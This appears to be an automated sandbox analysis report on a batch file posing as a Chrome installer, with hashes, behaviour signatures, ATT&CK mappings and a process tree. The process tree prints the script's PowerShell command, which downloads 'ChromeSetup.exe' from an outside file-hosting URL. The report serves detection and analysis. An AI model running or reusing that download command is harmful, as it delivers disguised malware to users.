4b9e4bbd675a45f1a99d54bff55576ba3c6d79ab76ea30e143d89fc1543e8580

Analysis

max time kernel
95s
max time network
99s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
20-11-2024 06:22

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General

Target

Files/Apps/chrome.bat
Size

402B
MD5

d776640ad800949d98208ec997899b77
SHA1

693b1050f6458c679fdb821e6ced8a79d5640143
SHA256

8a3fb07e6e9765bf8c6b40c7cea663a4cf65ccf1d7519fac88e5e7ec5bf4613a
SHA512

3c75486e8e3f6a46313d9c7b9c4791a73c09b0d138dabadc11f0767232927a89242682753736cc4ce22685530dddc241985f79a7dbfb34bbfa8f5d51a5ccf0c8

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

6 2596 powershell.exe
Downloads MZ/PE file
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2596 powershell.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

2596 powershell.exe
2596 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2596 powershell.exe

flow	pid	process
6	2596	powershell.exe

pid	process
2596	powershell.exe

pid	process
2596	powershell.exe
2596	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2596	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

cmd.execmd.exe

description	pid	process	target process
PID 1452 wrote to memory of 2820	1452	cmd.exe	cmd.exe
PID 1452 wrote to memory of 2820	1452	cmd.exe	cmd.exe
PID 1452 wrote to memory of 5012	1452	cmd.exe	cmd.exe
PID 1452 wrote to memory of 5012	1452	cmd.exe	cmd.exe
PID 5012 wrote to memory of 4916	5012	cmd.exe	chcp.com
PID 5012 wrote to memory of 4916	5012	cmd.exe	chcp.com
PID 1452 wrote to memory of 1632	1452	cmd.exe	chcp.com
PID 1452 wrote to memory of 1632	1452	cmd.exe	chcp.com
PID 1452 wrote to memory of 412	1452	cmd.exe	chcp.com
PID 1452 wrote to memory of 412	1452	cmd.exe	chcp.com
PID 1452 wrote to memory of 2596	1452	cmd.exe	powershell.exe
PID 1452 wrote to memory of 2596	1452	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Files\Apps\chrome.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1452
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ver
  2⤵
  PID:2820
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c chcp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5012
- - C:\Windows\system32\chcp.com
    chcp
    3⤵
    PID:4916
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:1632
- C:\Windows\system32\chcp.com
  chcp 437
  2⤵
  PID:412
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "iwr -useb 'https://schooicodes.github.io/file_hosting/ChromeSetup.exe'"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2596

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\ChromeSetup.exe

Filesize
670B

MD5
ffe11e6c1c9935c5c29c1150be6a723b

SHA1
6bc82c442f127bdb1d24f6a03958011088bd75a8

SHA256
a3d32dbbd41013a14348ec32ef61430a0752de957afd2e9f111cca70b9744fe2

SHA512
85f1c20455123e3e2d3c00d5cee0919a1f2017c3ebc1ef6193e97e94239af1b77757b8177ad6f41ac588df07b172c02545b03c1f6242de53fe2bd6788e9bd7d5

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ihp2ylnt.jef.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2596-0-0x00007FFD36103000-0x00007FFD36105000-memory.dmp

Filesize
8KB

Download
memory/2596-6-0x000001DB9FD30000-0x000001DB9FD52000-memory.dmp

Filesize
136KB

Download
memory/2596-11-0x00007FFD36100000-0x00007FFD36BC1000-memory.dmp

Filesize
10.8MB

Download
memory/2596-12-0x00007FFD36100000-0x00007FFD36BC1000-memory.dmp

Filesize
10.8MB

Download
memory/2596-13-0x00007FFD36103000-0x00007FFD36105000-memory.dmp

Filesize
8KB

Download
memory/2596-14-0x00007FFD36100000-0x00007FFD36BC1000-memory.dmp

Filesize
10.8MB

Download
memory/2596-15-0x00007FFD36100000-0x00007FFD36BC1000-memory.dmp

Filesize
10.8MB

Download
memory/2596-19-0x00007FFD36100000-0x00007FFD36BC1000-memory.dmp

Filesize
10.8MB

Download
memory/2596-20-0x00007FFD36100000-0x00007FFD36BC1000-memory.dmp

Filesize
10.8MB

Download